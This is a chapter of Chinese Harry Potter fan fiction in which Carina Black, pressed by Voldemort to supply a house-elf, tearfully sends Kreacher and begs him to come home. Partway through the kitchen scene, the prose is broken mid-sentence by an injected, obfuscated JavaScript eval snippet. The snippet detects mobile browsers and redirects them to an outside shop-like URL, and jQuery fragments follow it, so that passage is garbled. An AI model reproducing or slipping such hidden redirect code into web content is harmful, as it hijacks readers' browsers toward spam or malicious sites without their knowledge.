卡莉娜弯腰站在一个摇篮面前，用几个指头小人逗摇篮里的小人。


    “你像个小外星人。”她对被包裹得严严实实的小东西说，手指慢慢在他眼前移动——德拉科·马尔福的目光随着她手指的移动慢慢转动着。


    纳西莎慈爱地看着他们俩。


    德拉科的精力没能支持多久，很快又陷入睡眠。


    “吃了睡，睡了吃。”纳西莎甜蜜地抱怨道，“他的日常。”


    “幸福的日常。”卡莉娜把指头上的毛线小人摘下来，“我梦想的日常。”


    纳西莎笑着睨了她一眼。


    卡莉娜慢慢地溜出婴儿房，留纳西莎继续看着摇篮里的小人——她望着这个孩子，就像是怎样也望不够。


    卢修斯站在婴儿房外，脸色看着有些憔悴。


    “你看着很疲惫。”卡莉娜对他说，“有什么事？”


    “我没有什么事，除了那个臭小子。”一丝骄傲的笑容不经意间略过卢修斯的脸，随即消失不见，“是主人找你有事。”


    卡莉娜脸上的笑容消隐了。


    “他找我有事？”卡莉娜确认道，“什么时候？”


    “现在。”卢修斯说，“是你做出其他贡献的时候了，我想。”


    “除了清道夫工作？”卡莉娜毫无感情地说，“我的荣幸。”


    卢修斯富有深意地看了她一眼。


    “他现在就在楼下最大的会客厅。”卢修斯伸出一只手指引方向，“你还有一分钟的时间。”


    卡莉娜快步跑了起来。


    黑魔王需要她做出更多贡献——但不是一件大事。她的脑海里瞬间略过许多事件，但没有一件符合卢修斯的态度：随意而且放松。黑魔王想要再一次测试她的态度、布莱克家族的态度，通过一种在他们看来不值一提的方式。


    卡莉娜站在会客室的门前，很快调整自己的呼吸。


    随即她打开门。


    伏地魔背对着她站在巨大的窗前，没有转头看她。


    “先生。”她恭敬地小步走向伏地魔，“听从您的吩咐。”


    “今天没有尸体供你收敛。”伏地魔轻轻举起一只手，“不必失望，卡莉娜——我有另一件事要交给你做。”


    卡莉娜安静地站着，没有问是什么事。


    “我需要一只家养小精灵。”伏地魔轻慢地说，“我想这对你是一个微不足道的要求。”


    “我会询问我的母亲。”卡莉娜低声回答道，“家养小精灵属于布莱克家族，不属于我。”


    “我想会有一个让我满意的答复，不是吗？”伏地魔似乎微微地转过头来，用余光打量着她的神情，“布莱克？”


    卡莉娜微微低着头。


    “是的，”她听到自己的声音说，“会是一个让您满意的吩咐，先生。”


    “那么，”伏地魔摆摆手，“快去吧。”


    卡莉娜快步退出会客室，感觉冷汗渗透了自己的背。


    这对她来讲是一件大事。


    ————


    “教授，”她说，“我想我要做一个可怕的决定。”


    “我想这不是出于你的本意。”邓布利多教授宽和的目光落在她的身上，“有什么我可以为你做的吗？”


    “不。”卡莉娜回答道，“这是我种下的因，自然由我来收获苦涩的果实——这是我必须承担的责任，我会对所有的谴责照单全收。”


    “没有人会谴责你。”邓布利多教授温和地说。


    “我自己会的。”卡莉娜说。


    她和邓布利多教授站在凤凰社二楼。她能听到许多熟悉的声音在楼下喧闹——凤凰社今天有会要开。


    “我走了。”她说，打开窗户。


    “你做了能做的全部。”邓布利多教授的声音里带着坚定的力量。


    “正因如此。”卡莉娜说，“我发觉这世上竟有着无可避免的伤害。”


    卡莉娜看着邓布利多教授悲悯的蓝色眼睛。


    “再见，教授。”她变成一只鸟，跳出凤凰社的窗。


    邓布利多教授看见她掠过蓝灰色的天空，有铅色的云在聚集——大雨将至。


    ————


    卡莉娜站在格里莫广场的大门面前。


    她徘徊了很久，直到沃尔布加不耐烦地打开门。


    “我听到你在外面。”她说。


    “妈妈，”卡莉娜诧异地问，“你在门口做什么？”


    “制作我的画像。”沃尔布加注视着门口这幅新挂上去的画像，“这件事要趁早。”


    卡莉娜注视着画像上满身黑色的沃尔布加。


    “你不觉得，”她谨慎地说，“它显得您有些……”


    “老气？”沃尔布加说，“是的，我就是这样设计的——更有威慑力。”


    “妈妈，原谅我说这句话。”卡莉娜平静地说，“我记得您今年五十多岁，不是八十多岁。”


    “我不会青春永驻。”沃尔布加看着画布上戴着黑帽子的老太太，“更何况，外貌是最不值一提的东西——这只是一副画像。”


    “我以为你会想和爸爸那副显得相称。”卡莉娜温和地说。


    “他的画像只会睡觉。”沃尔布加尖锐地说，“等他醒过来再说吧——不能说话的人没有发言权。”


    卡莉娜在画像前站了几分钟，沉默地向地下的厨房走去。


    克利切正在打理自己的小窝。


    去年卡莉娜用漂亮的格纹布给克利切做了一套迷你床品。在他小小的枕头边上，摆着一个漂亮的黄铜钟表。克利切把自己的珍藏们一件件擦得发亮，又一件件藏在自己的被褥底下。


    “卡莉小姐！”克利切注意到她站在厨房里，高兴地说，“卡莉小姐想要什么？茶、牛奶、可可，还是卡莉小姐最喜欢的冰激凌？”


    “谢谢你，克利切。”卡莉娜温柔地说，“我自己煮点茶。”


    克利切匆匆忙忙地去接手茶壶，但卡莉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783417|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娜很快把它提起来。


    “卡莉小姐的爱好总是很特别。”克利切嘟哝着说。


    茶壶被放在灶台上，没一会儿开始小声咕嘟起来。


    卡莉娜感觉有话在自己的舌尖，但她怎样都没法开口——她的嘴唇像被缝住了。


    “卡莉小姐有烦心事。”克利切站在她的脚边，“告诉克利切……克利切愿意为卡莉小姐做一切事。”


    “克利切不用为我做一切事。”卡莉娜看着茶壶的壶盖上有小水珠慢慢滚落，“克利切是和我一样重要的生命——克利切不应该为我做一切事。”


    克利切急切地看着她。


    “不，”它用牛蛙般的嗓子说，“克利切愿意为卡莉小姐做一切事，卡莉小姐是克利切的主人。”


    “克利切是我的朋友。”卡莉娜蹲下来，握住克利切细长的手，“克利切明白吗？你是住在格里莫广场12号的小精灵，卡莉娜的好朋友。”


    克利切玻璃般的眼珠动了动，透明的液体从他的眼眶边滚落出来——他似乎想要用自己的脑袋撞旁边的柜子，但因为他的手被卡莉娜握着，因此只能僵硬地站在格里莫广场冰凉的地面上。


    “卡莉小姐是克利切的朋友。”克利切沙哑地说，“作为朋友，克利切依旧愿意为卡莉小姐做一切事。”


    卡莉娜感到自己的心被绞紧了。


    她抿了抿唇。


    “卡莉小姐有事要拜托克利切。”克利切机敏地说，“克利切看得出来——克利切会为卡莉小姐完成。”


    “会很痛。”卡莉娜轻声说。


    “克利切不怕痛。”克利切瞪大了眼睛，“克利切经历过很痛的东西。”


    “会很可怕。”卡莉娜说。


    “克利切准备好了。”克利切挺起自己的小胸脯。


    “你要回家。”卡莉娜急迫地对他说，“这是个命令，克利切，你明白吗？这是我对你唯一的命令——回家。”


    “克利切明白。”克利切骄傲地说，“克利切会回家——克利切一定会回家。”


    “黑魔王需要一个小精灵。”卡莉娜绝望地说，“克利切，你明白吗？”


    “克利切明白。”克利切的鼻翼因为恐惧而张开了，但他没有退缩，“克利切听说过黑魔王对小精灵做的事。但卡莉小姐不能拒绝，是不是？”


    “我不能拒绝。”卡莉娜与克利切的眼睛对视着，从里面看出视死如归的决心，“布莱克也不能拒绝。”


    “克利切知道了。”克利切喘着气说。


    卡莉娜一把抱住这个瘦小的小精灵，感觉到它在她的怀抱中颤抖着。


    “我等着你回家，克利切。”卡莉娜痛苦地说，“回家，克利切。”


    克利切瘦长的手掌拍了拍卡莉娜的背。


    在卡莉娜还是个婴儿的时候，克利切就是这样轻轻拍着她，哄她入睡的。


    “不要害怕，卡莉小姐。”克利切在她怀里说，“克利切会保护你。”